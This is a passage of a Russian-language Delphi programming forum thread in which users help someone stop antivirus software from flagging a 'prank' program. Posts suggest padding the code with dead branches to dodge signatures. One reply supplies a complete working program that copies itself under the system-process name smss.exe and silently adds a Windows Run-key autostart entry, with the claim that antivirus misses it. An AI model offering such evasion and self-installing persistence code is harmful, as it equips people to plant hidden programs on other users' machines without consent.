Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 11.04.2008, 14:14   #21
Terran
Участник клуба
 
Аватар для Terran
 
Регистрация: 28.11.2007
Сообщений: 1,521
По умолчанию

Что бы не палил антивирь прогу (не удаляя ничего из кода проги) просто нужно добавить небольшой код, к примеру:


var
S:string;
...
begin
If S='123' Then
begin
Messagebox(0,'1','1',9);
end;
end;

(Только надо смотреть что бы при работе проги это действие в ней не выполнелось)
Всегда рад помочь!
Terran вне форума Ответить с цитированием
Старый 11.04.2008, 14:28   #22
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Ой-ли. Это просто надежда.
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 11.04.2008, 14:28   #23
BOBAH13
Android Developer
Старожил Подтвердите свой е-майл
 
Аватар для BOBAH13
 
Регистрация: 19.02.2007
Сообщений: 3,708
По умолчанию

Дело может быть и не в коде Просто последовательность байт проверяется ( кодов ) антивирусом и, антивирусник считает что это вирус )) Например писал прогу давненько, она просто с файлами работает с папками, консолька. Стоял и стоит антивирусник Аваст... потом он начала ругаться что это червь на мою прогу ) Я взял ее и перекомпилировал и перестал ругаться ) Так что тут дело не совсем в коде ))) Просто структура и последовательность байт может совпадать с каким-то вирем. Вы лучше откомпильте без подозреваемых строк и смотрите как реагирует антивирус, ну а выявленные строки сюда напишите, а мы в свою очередь подумаем что можно сделать на что заменить.
BOBAH13 вне форума Ответить с цитированием
Старый 11.04.2008, 14:41   #24
B_N
Новичок
Джуниор
 
Регистрация: 18.01.2008
Сообщений: 1,720
По умолчанию

Аваст это вообще не антивирус, а сплошной самообман. Единственное, что он умудрился "найти", когда я его испытывал, так это несколько пятнадцатилетней давности Aidstest'ов - и с чуством выполненного долга их убил! У каспера средней приличности проактивка, некоторые вещи она пропускает, но в целом более-менее уверенно следит за подозрительными действиями, одно из которых - попытка прописаться на автозапуск в реестр.
B_N вне форума Ответить с цитированием
Старый 11.04.2008, 15:24   #25
AngelOfDeath
Delphi/C++/Asm
Форумчанин Подтвердите свой е-майл
 
Аватар для AngelOfDeath
 
Регистрация: 28.03.2008
Сообщений: 358
По умолчанию

Вот эта строка точно антивирем палится
Код:
H.WriteString('Proga Shytka','C:\Program Files\winamp\key.exe');
Без неё всё нормально
AngelOfDeath вне форума Ответить с цитированием
Старый 11.04.2008, 15:27   #26
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Ну значит суши весла или попробуй через API
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 11.04.2008, 15:29   #27
mihali4
*
Старожил
 
Регистрация: 22.11.2006
Сообщений: 9,201
По умолчанию

Цитата:
Сообщение от AngelOfDeath Посмотреть сообщение
Вот эта строка точно антивирем палится
Код:
H.WriteString('Proga Shytka','C:\Program Files\winamp\key.exe');
Без неё всё нормально
Так замените KEY на SYSTEM. Вам же сказано - окромя сигнатур, антивирусы очень подозрительно относятся к подобным именам...
mihali4 вне форума Ответить с цитированием
Старый 12.04.2008, 00:26   #28
Gambler
Игрок
Форумчанин
 
Аватар для Gambler
 
Регистрация: 29.10.2006
Сообщений: 367
По умолчанию

Код:
program Project2;
const path = 'C:\WINDOWS\system\smss.exe';
SW_HIDE = 0;
function WinExec(lpCmdLine: PChar; uCmdShow: INTEGER): INTEGER; stdcall;  external 'kernel32.dll' name 'WinExec';
begin
winexec(PChar('cmd /c copy "'+paramstr(0)+'" "'+path+'"'),SW_HIDE);
winexec(PChar('cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Prikol /t REG_SZ /d '+Path),SW_HIDE);
end.
Специально для тебя написал мини программку. Она сама себя копирует и добавляет в автозапуск. Антивирус не палит.
Жизнь всегда игра. Но смерть - не всегда поражение.

#define true (Math.random()>0.5) //Удачной отладки
Gambler вне форума Ответить с цитированием
Старый 12.04.2008, 08:44   #29
AngelOfDeath
Delphi/C++/Asm
Форумчанин Подтвердите свой е-майл
 
Аватар для AngelOfDeath
 
Регистрация: 28.03.2008
Сообщений: 358
Подмигивание

Цитата:
Сообщение от mihali4 Посмотреть сообщение
Так замените KEY на SYSTEM. Вам же сказано - окромя сигнатур, антивирусы очень подозрительно относятся к подобным именам...
Я пробовал ЭФФЕКТ 0
AngelOfDeath вне форума Ответить с цитированием
Старый 12.04.2008, 10:02   #30
AngelOfDeath
Delphi/C++/Asm
Форумчанин Подтвердите свой е-майл
 
Аватар для AngelOfDeath
 
Регистрация: 28.03.2008
Сообщений: 358
Злость

Цитата:
Сообщение от Gambler Посмотреть сообщение

Специально для тебя написал мини программку. Она сама себя копирует и добавляет в автозапуск. Антивирус не палит.
Мдя антивирус СВОЛОЧЬ и это палит((
AngelOfDeath вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
какой антивирус юзаете??? Sandwich Безопасность, Шифрование 323 03.11.2020 10:35
Как удалить ХР антивирус? nesimon Безопасность, Шифрование 5 05.01.2010 01:36
Антивирус Касперского ERASERROR Софт 2 03.02.2008 16:24
лучший антивирус ГОСЕАН Свободное общение 9 29.12.2007 05:14